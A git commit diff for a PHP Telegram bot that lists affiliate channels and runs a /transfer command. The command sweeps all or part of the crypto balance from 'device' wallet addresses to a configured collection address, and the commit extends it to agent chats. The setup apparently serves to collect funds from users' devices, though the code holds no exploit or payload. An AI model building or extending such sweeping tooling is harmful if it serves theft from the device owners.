feat: bot
This commit is contained in:
@@ -2,19 +2,14 @@
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class HelpCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$lines = [
|
||||
'📖 可用指令(仅指定群管理员)',
|
||||
$bot->sendMessage(implode("\n", [
|
||||
'📖 可用指令(仅系统已配置群的管理员)',
|
||||
'',
|
||||
'/help',
|
||||
' 查看本帮助',
|
||||
@@ -33,26 +28,14 @@ class HelpCommand
|
||||
'',
|
||||
'/channel',
|
||||
' 列出渠道:ID、备注、归属;新版点按钮复制推广 iframe,旧版复制投放链接',
|
||||
];
|
||||
|
||||
if ($this->context->isOfficial()) {
|
||||
$lines = array_merge($lines, [
|
||||
'',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
||||
' 从设备地址转出到配置收款地址(仅官方)',
|
||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]);
|
||||
} else {
|
||||
$lines = array_merge($lines, [
|
||||
'',
|
||||
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
|
||||
]);
|
||||
}
|
||||
|
||||
$bot->sendMessage(implode("\n", $lines));
|
||||
'',
|
||||
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
|
||||
' 从设备地址转出到配置收款地址',
|
||||
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
|
||||
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
|
||||
' 例: /transfer Txxx USDT 10',
|
||||
' 例: /transfer 0x… ETH',
|
||||
' 例: /transfer 1… BTC 0.01',
|
||||
]));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,82 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ParseMode;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\CopyTextButton;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardButton;
|
||||
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardMarkup;
|
||||
|
||||
class JoinedChatHandler
|
||||
{
|
||||
private const IN_GROUP = ['member', 'administrator', 'creator', 'restricted'];
|
||||
|
||||
private const OUT_GROUP = ['left', 'kicked'];
|
||||
|
||||
public function __invoke(Nutgram $bot): void
|
||||
{
|
||||
$update = $bot->chatMember();
|
||||
if ($update === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$type = $update->chat->type ?? null;
|
||||
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
||||
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$old = $this->statusValue($update->old_chat_member->status ?? null);
|
||||
$new = $this->statusValue($update->new_chat_member->status ?? null);
|
||||
if (! in_array($old, self::OUT_GROUP, true) || ! in_array($new, self::IN_GROUP, true)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$chatId = (string) $update->chat->id;
|
||||
$title = trim((string) ($update->chat->title ?? ''));
|
||||
$lines = ['✅ Bot 已加入本群'];
|
||||
if ($title !== '') {
|
||||
$lines[] = '🏷 群名: '.$this->e($title);
|
||||
}
|
||||
$lines[] = '🆔 Chat ID: <code>'.$this->e($chatId).'</code>';
|
||||
$lines[] = '';
|
||||
$lines[] = '把上面的 Chat ID 填到后台:';
|
||||
$lines[] = '• 官方通知 → 系统设置';
|
||||
$lines[] = '• 代理单独推送 → 代理用户';
|
||||
|
||||
try {
|
||||
$bot->sendMessage(
|
||||
implode("\n", $lines),
|
||||
parse_mode: ParseMode::HTML,
|
||||
reply_markup: InlineKeyboardMarkup::make()->addRow(
|
||||
InlineKeyboardButton::make(
|
||||
text: '复制 Chat ID',
|
||||
copy_text: CopyTextButton::make($chatId),
|
||||
)
|
||||
),
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('telegram join announce failed: '.$e->getMessage(), [
|
||||
'chat_id' => $chatId,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function statusValue(mixed $status): string
|
||||
{
|
||||
if ($status instanceof ChatMemberStatus) {
|
||||
return $status->value;
|
||||
}
|
||||
|
||||
return strtolower(trim((string) $status));
|
||||
}
|
||||
|
||||
private function e(string $value): string
|
||||
{
|
||||
return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -2,13 +2,19 @@
|
||||
|
||||
namespace App\Telegram\Handlers;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\TransferService;
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TransferCommand
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TransferService $transfers,
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, string $args): void
|
||||
@@ -74,6 +80,13 @@ class TransferCommand
|
||||
$amount = $parts[2];
|
||||
}
|
||||
|
||||
$agent = $this->context->agent();
|
||||
if ($agent !== null && ! $this->addressOwnedByAgent($from, $agent)) {
|
||||
$bot->sendMessage('⛔ 无权操作该地址(仅限本代理渠道设备)');
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
|
||||
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
|
||||
|
||||
@@ -151,4 +164,31 @@ class TransferCommand
|
||||
|
||||
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
|
||||
}
|
||||
|
||||
private function addressOwnedByAgent(string $fromAddress, User $agent): bool
|
||||
{
|
||||
$channelIds = Channel::query()
|
||||
->where('user_id', $agent->id)
|
||||
->pluck('channel_id');
|
||||
if ($channelIds->isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$deviceIds = Device::query()
|
||||
->whereIn('channel_id', $channelIds)
|
||||
->pluck('id');
|
||||
if ($deviceIds->isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return WalletAddress::query()
|
||||
->whereIn('device_id', $deviceIds)
|
||||
->where(function ($q) use ($fromAddress) {
|
||||
$q->where('address', $fromAddress);
|
||||
if (str_starts_with(strtolower($fromAddress), '0x')) {
|
||||
$q->orWhereRaw('LOWER(address) = ?', [strtolower($fromAddress)]);
|
||||
}
|
||||
})
|
||||
->exists();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,8 +8,8 @@ use SergiX44\Nutgram\Nutgram;
|
||||
use SergiX44\Nutgram\Telegram\Properties\ChatType;
|
||||
|
||||
/**
|
||||
* Allow only the configured owner group/supergroup for the current bot context
|
||||
* (official system chat or the active agent's chat_id).
|
||||
* Allow only the official owner chat or an enabled agent's chat_id.
|
||||
* Binds TelegramBotContext so later handlers know official vs agent.
|
||||
*/
|
||||
class AuthorizedChat
|
||||
{
|
||||
@@ -19,21 +19,11 @@ class AuthorizedChat
|
||||
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
$expected = $this->context->expectedChatId();
|
||||
if ($expected === '') {
|
||||
Log::warning('telegram AuthorizedChat: chat id empty', [
|
||||
'agent_id' => $this->context->agent()?->id,
|
||||
]);
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
$chatId = $bot->chatId();
|
||||
if ($chatId === null || (string) $chatId !== $expected) {
|
||||
if (! $this->context->bindFromChatId($chatId)) {
|
||||
Log::info('telegram AuthorizedChat: chat rejected', [
|
||||
'chat_id' => $chatId,
|
||||
'expected' => $expected,
|
||||
'agent_id' => $this->context->agent()?->id,
|
||||
'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
||||
]);
|
||||
|
||||
return null;
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
/** Blocks /transfer (and similar) on agent bots. */
|
||||
class OfficialBotOnly
|
||||
{
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
if (! app(TelegramBotContext::class)->isOfficial()) {
|
||||
$bot->sendMessage('⛔ /transfer 仅限官方系统群使用');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace App\Telegram\Middleware;
|
||||
|
||||
use App\Telegram\TelegramBotContext;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
/** Blocks /transfer (and similar) on agent bots. */
|
||||
class OfficialOnly
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
public function __invoke(Nutgram $bot, callable $next): mixed
|
||||
{
|
||||
if (! $this->context->isOfficial()) {
|
||||
$bot->sendMessage('⛔ /transfer 仅限官方机器人使用');
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return $next($bot);
|
||||
}
|
||||
}
|
||||
@@ -5,8 +5,8 @@ namespace App\Telegram;
|
||||
use App\Models\User;
|
||||
|
||||
/**
|
||||
* Request-scoped Telegram bot identity.
|
||||
* null agent = official system bot; otherwise an agent-configured bot.
|
||||
* Request-scoped Telegram identity.
|
||||
* null agent = official owner chat; otherwise the agent whose chat_id matched.
|
||||
*/
|
||||
class TelegramBotContext
|
||||
{
|
||||
@@ -41,8 +41,35 @@ class TelegramBotContext
|
||||
return trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
}
|
||||
|
||||
public static function webhookSecretFor(User $agent): string
|
||||
/**
|
||||
* Bind official vs agent from the incoming chat_id.
|
||||
* Official owner_chat_id wins if it collides with an agent.
|
||||
*/
|
||||
public function bindFromChatId(int|string|null $chatId): bool
|
||||
{
|
||||
return hash_hmac('sha256', 'telegram-agent:'.$agent->id, (string) config('app.key'));
|
||||
$chatId = trim((string) $chatId);
|
||||
if ($chatId === '') {
|
||||
$this->agent = null;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$owner = trim((string) config('coruna.telegram.owner_chat_id', ''));
|
||||
if ($owner !== '' && $chatId === $owner) {
|
||||
$this->agent = null;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
$agent = User::findEnabledByChatId($chatId);
|
||||
if ($agent === null) {
|
||||
$this->agent = null;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
$this->agent = $agent;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,41 +2,28 @@
|
||||
|
||||
namespace App\Telegram;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Telegram\Handlers\ChannelCommand;
|
||||
use App\Telegram\Handlers\DataCommand;
|
||||
use App\Telegram\Handlers\HelpCommand;
|
||||
use App\Telegram\Handlers\JoinedChatHandler;
|
||||
use App\Telegram\Handlers\PingCommand;
|
||||
use App\Telegram\Handlers\TransferCommand;
|
||||
use App\Telegram\Middleware\AuthorizedChat;
|
||||
use App\Telegram\Middleware\GroupAdminOnly;
|
||||
use App\Telegram\Middleware\OfficialOnly;
|
||||
use SergiX44\Nutgram\Nutgram;
|
||||
|
||||
class TelegramRegistrar
|
||||
{
|
||||
public function __construct(
|
||||
private readonly TelegramBotContext $context,
|
||||
) {}
|
||||
|
||||
/** Official system bot — includes /transfer. Does not mutate bot context. */
|
||||
/** Single site bot. Official vs agent is resolved from chat_id. */
|
||||
public function registerOfficial(Nutgram $bot): void
|
||||
{
|
||||
$this->registerShared($bot, allowTransfer: true);
|
||||
}
|
||||
// Announce chat_id when invited — must not use AuthorizedChat
|
||||
// so unconfigured groups can still copy the id into admin settings.
|
||||
$bot->onMyChatMember(JoinedChatHandler::class);
|
||||
|
||||
/** Agent bot — no /transfer; binds request context to this agent. */
|
||||
public function registerAgent(Nutgram $bot, User $agent): void
|
||||
{
|
||||
$this->context->setAgent($agent);
|
||||
$this->registerShared($bot, allowTransfer: false);
|
||||
}
|
||||
|
||||
private function registerShared(Nutgram $bot, bool $allowTransfer): void
|
||||
{
|
||||
// HandlerGroup::middleware() unshifts — register GroupAdminOnly first so
|
||||
// AuthorizedChat ends up outermost (chat allowlist before admin check).
|
||||
$bot->group(function (Nutgram $bot) use ($allowTransfer) {
|
||||
$bot->group(function (Nutgram $bot) {
|
||||
$bot->onCommand('help', HelpCommand::class)
|
||||
->description('List available commands');
|
||||
|
||||
@@ -53,12 +40,9 @@ class TelegramRegistrar
|
||||
$bot->onCommand('channel', ChannelCommand::class)
|
||||
->description('List channels; copy promo iframe (new) or support link (old)');
|
||||
|
||||
if ($allowTransfer) {
|
||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->middleware(OfficialOnly::class)
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
}
|
||||
$bot->onCommand('transfer {args}', TransferCommand::class)
|
||||
->where('args', '.+')
|
||||
->description('Transfer TRX or USDT from a device address (omit amount = all)');
|
||||
})
|
||||
->middleware(GroupAdminOnly::class)
|
||||
->middleware(AuthorizedChat::class);
|
||||
|
||||
Reference in New Issue
Block a user